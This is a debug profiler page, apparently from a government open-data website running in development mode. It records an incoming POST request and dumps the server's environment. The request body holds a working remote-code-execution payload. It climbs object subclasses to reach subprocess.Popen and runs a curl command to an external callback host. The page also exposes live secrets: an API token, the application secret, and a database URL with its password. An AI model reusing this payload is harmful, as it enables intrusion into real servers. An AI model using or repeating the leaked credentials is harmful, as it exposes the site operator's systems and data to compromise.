ErrorController
Request
GET Parameters
Key | Value |
---|---|
p | "flash/addcrypted2" |
POST Parameters
Key | Value |
---|---|
crypted | "MTIzNA==" |
jk | """ \n // [+] command goes here:\n let cmd = "curl http://ct2uj5coeu18jq5ah43gnsk5zrshn967w.oast.pro"\n let hacked, bymarve, n11\n let getattr, obj\n \n hacked = Object.getOwnPropertyNames({})\n bymarve = hacked.__getattribute__\n n11 = bymarve("__getattribute__")\n obj = n11("__class__").__base__\n getattr = obj.__getattribute__\n \n function findpopen(o) {\n let result;\n for(let i in o.__subclasses__()) {\n let item = o.__subclasses__()[i]\n if(item.__module__ == "subprocess" && item.__name__ == "Popen") {\n return item\n }\n if(item.__name__ != "type" && (result = findpopen(item))) {\n return result\n }\n }\n }\n \n n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\n console.log(n11)\n function f() {\n return n11\n }\n \n """ |
package | "pkg" |
Uploaded Files
No files were uploaded
Request Attributes
Request Headers
Header | Value |
---|---|
accept-encoding | "gzip" |
authorization | "" |
connection | "close" |
content-length | "1350" |
content-type | "application/x-www-form-urlencoded" |
host | "opendata.kedirikab.go.id" |
user-agent | "Mozilla/5.0 (Knoppix; Linux i686; rv:128.0) Gecko/20100101 Firefox/128.0" |
x-forwarded-for | "192.168.60.9" |
x-forwarded-proto | "https" |
x-forwarded-scheme | "https" |
x-php-ob-level | "1" |
x-real-ip | "192.168.60.9" |
Request Content
Raw
package=pkg&crypted=MTIzNA%3D%3D&jk=%0A//%20%5B%2B%5D%20command%20goes%20here%3A%0Alet%20cmd%20%3D%20%22curl%20http%3A//ct2uj5coeu18jq5ah43gnsk5zrshn967w.oast.pro%22%0Alet%20hacked%2C%20bymarve%2C%20n11%0Alet%20getattr%2C%20obj%0A%0Ahacked%20%3D%20Object.getOwnPropertyNames%28%7B%7D%29%0Abymarve%20%3D%20hacked.__getattribute__%0An11%20%3D%20bymarve%28%22__getattribute__%22%29%0Aobj%20%3D%20n11%28%22__class__%22%29.__base__%0Agetattr%20%3D%20obj.__getattribute__%0A%0Afunction%20findpopen%28o%29%20%7B%0A%20%20%20%20let%20result%3B%0A%20%20%20%20for%28let%20i%20in%20o.__subclasses__%28%29%29%20%7B%0A%20%20%20%20%20%20%20%20let%20item%20%3D%20o.__subclasses__%28%29%5Bi%5D%0A%20%20%20%20%20%20%20%20if%28item.__module__%20%3D%3D%20%22subprocess%22%20%26%26%20item.__name__%20%3D%3D%20%22Popen%22%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20item%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20if%28item.__name__%20%21%3D%20%22type%22%20%26%26%20%28result%20%3D%20findpopen%28item%29%29%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20result%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%7D%0A%0An11%20%3D%20findpopen%28obj%29%28cmd%2C%20-1%2C%20null%2C%20-1%2C%20-1%2C%20-1%2C%20null%2C%20null%2C%20true%29.communicate%28%29%0Aconsole.log%28n11%29%0Afunction%20f%28%29%20%7B%0A%20%20%20%20return%20n11%0A%7D%0A%0A
Response
Response Headers
Header | Value |
---|---|
cache-control | "no-cache, private" |
content-type | "text/html; charset=UTF-8" |
date | "Tue, 26 Nov 2024 15:35:10 GMT" |
x-debug-exception | "No%20route%20found%20for%20%22POST%20http%3A%2F%2Fopendata.kedirikab.go.id%2Fflash%2Faddcrypted2%22" |
x-debug-exception-file | "%2Fvar%2Fwww%2Fhtml%2Fopen_data%2Fvendor%2Fsymfony%2Fhttp-kernel%2FEventListener%2FRouterListener.php:135" |
x-debug-token | "838762" |
Cookies
Request Cookies
No request cookies
Response Cookies
No response cookies
Session
Session Metadata
No session metadata
Session Attributes
No session attributes
Session Usage
0
Usages
Stateless check enabled
Session not used.
Flashes
Flashes
No flash messages were created.
Server Parameters
Server Parameters
Defined in .env
Key | Value |
---|---|
API_TOKEN | "4a81432adf56aeb6aadfffa65ab70ab1" |
API_URL | "http://172.16.16.68/api_/opendata.php" |
APP_CLIENT_ADDRESS | "Jl. Sekartaji No.2, Sumber, Doko, Kec. Ngasem, Kabupaten Kediri, Jawa Timur" |
APP_CLIENT_CONTACT | "Telp. (0354) 682152" |
APP_CLIENT_EMAIL | "" |
APP_CLIENT_NAME | "Kabupaten Kediri" |
APP_CLIENT_SHORTNAME | "Kabupaten Kediri" |
APP_ENV | "dev" |
APP_ICON | "assets/logo/logo_masbup.png" |
APP_ICON_LOGO | "assets/logo/kota_kediri.png" |
APP_NAME | "Open Data Kediri" |
APP_SECRET | "302717838b52f3d1699a25e8e3ef6a9d" |
COLOR_DANGER | "#b20238;" |
COLOR_INFO | "#e8d21d;" |
COLOR_PRIMARY | "#039fbe;" |
COLOR_WARNING | "#cf1578;" |
DATABASE_URL | "postgresql://postgres:opendata2022!@127.0.0.1:5432/open_data_kediri?serverVersion=13&charset=utf8" |
OPEN_DATA_ICON | "assets/logo/logo_masbup_merah.png" |
Defined as regular env variables
Key | Value |
---|---|
APP_DEBUG | "1" |
CONTENT_LENGTH | "1350" |
CONTENT_TYPE | "application/x-www-form-urlencoded" |
CONTEXT_DOCUMENT_ROOT | "/var/www/html/open_data/public/" |
CONTEXT_PREFIX | "" |
DOCUMENT_ROOT | "/var/www/html/open_data/public/" |
GATEWAY_INTERFACE | "CGI/1.1" |
HTTP_ACCEPT_ENCODING | "gzip" |
HTTP_AUTHORIZATION | "" |
HTTP_CONNECTION | "close" |
HTTP_HOST | "opendata.kedirikab.go.id" |
HTTP_USER_AGENT | "Mozilla/5.0 (Knoppix; Linux i686; rv:128.0) Gecko/20100101 Firefox/128.0" |
HTTP_X_FORWARDED_FOR | "192.168.60.9" |
HTTP_X_FORWARDED_PROTO | "https" |
HTTP_X_FORWARDED_SCHEME | "https" |
HTTP_X_REAL_IP | "192.168.60.9" |
PATH | "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin" |
PHP_SELF | "/index.php" |
QUERY_STRING | "p=flash/addcrypted2" |
REDIRECT_QUERY_STRING | "p=flash/addcrypted2" |
REDIRECT_STATUS | "200" |
REDIRECT_URL | "/flash/addcrypted2" |
REMOTE_ADDR | "172.16.25.100" |
REMOTE_PORT | "47234" |
REQUEST_METHOD | "GET" |
REQUEST_SCHEME | "http" |
REQUEST_TIME | 1732635310 |
REQUEST_TIME_FLOAT | 1732635310.6586 |
REQUEST_URI | "/flash/addcrypted2" |
SCRIPT_FILENAME | "/var/www/html/open_data/public/index.php" |
SCRIPT_NAME | "/index.php" |
SERVER_ADDR | "172.16.16.52" |
SERVER_ADMIN | "[no address given]" |
SERVER_NAME | "opendata.kedirikab.go.id" |
SERVER_PORT | "80" |
SERVER_PROTOCOL | "HTTP/1.1" |
SERVER_SIGNATURE | "" |
SERVER_SOFTWARE | "Apache" |
SYMFONY_DOTENV_VARS | "APP_ENV,APP_SECRET,DATABASE_URL,API_URL,API_TOKEN,APP_NAME,OPEN_DATA_ICON,APP_ICON,APP_ICON_LOGO,APP_CLIENT_NAME,APP_CLIENT_SHORTNAME,APP_CLIENT_ADDRESS,APP_CLIENT_CONTACT,APP_CLIENT_EMAIL,COLOR_PRIMARY,COLOR_WARNING,COLOR_INFO,COLOR_DANGER" |
Parent Request
Return to parent request (token = 9c2133)
Key | Value |
---|---|
_remove_csp_headers | true |
_stopwatch_token | "afdf1d" |